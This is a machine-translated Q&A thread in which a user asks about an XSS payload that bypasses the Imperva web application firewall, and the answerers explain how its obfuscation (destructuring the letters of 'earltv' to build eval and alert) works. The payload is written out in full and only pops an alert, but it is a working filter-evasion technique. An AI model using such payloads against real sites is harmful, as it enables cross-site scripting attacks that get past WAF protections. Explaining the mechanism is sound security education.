1

有人在 Twitter 上发布(不确定我是否可以在这里链接)Imperva Web 应用程序防火墙的跨站点脚本绕过。如下所示:

<a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click

%0A%0 解码为新行。一个可点击的链接被创建到给定的 URI。但是所有 3:s 和 v+a+e 等都完全让我无法理解。我已经尝试在反射、存储和 DOM XSS 中使用它并获得混合结果。实际上,在某些情况下,Imperva WAF 无法检测到它,但在某些情况下会检测到,而且在许多情况下,它根本不会产生可点击的链接。此时的问题是我不完全理解 javascript 代码。任何帮助表示赞赏。

4

2 回答 2

4

您对%0A%0D解码到新行是正确的!这给出了: javascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)

现在让我们分解一下。

var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'

这表示字符串的第三个索引'earltv'是 s,第二个是 h,第五个是 a,以此类推。

[self][0]

这基本上什么都不做,只是引用它自己。

[v+a+e+s]

现在这是解码开始的地方。

v 实际上是 e(字符串的索引 0)

a 实际上是 v(字符串的索引 5)

等等

解码为eval.

同样,(e+s+v+h+n)解码以发出警报。

所以,我们有:

eval(alert)(/infected/.source)

/infected/是一个正则表达式,并.source引用它的源,即字符串"infected"

现在,这相当于:

eval (alert) ("infected")

本质上返回警报的本eval (alert)机代码,因此只是alert.

alert("infected")

现在很简单——它只是提醒“感染”,这就是实际发生的事情!

于 2021-03-05T21:23:44.507 回答
2

除了其他答案之外,这里还有一个简化的工作演示,展示了它的作用。

编辑:一些额外的解释

如果我们附加[0]在一个字符串上:

let first_letter = "Hey!"[0]; //returns "H"

这意味着每当对字符串请求数组操作时,字符串都会“转换”为数组:

因此它等于:

let first_letter = ["H","e","y","!"][0]

现在,如果你有一个对象,你可以用一个数组填充它:

let obj = {0:h,1:e,2:y,3:I} = ["H","e","y","!"];

最后,您可以将其与 Destructing 结合使用:

letters = ["H","e","y","!"];
    
({0:h,1:e,2:y,3:I} = letters)
    
console.log(h,e,y,I); //returns "H" "e" "y" "!"

老实说,非常简单和酷:)

原始片段:

    var {
        3: s,
        2: h,
        5: a,
        0: v,
        4: n,
        1: e
    } = 'earltv'


console.log(v + a + e + s , e + s + v + h + n, (/infected/.source));

于 2021-03-05T21:32:43.410 回答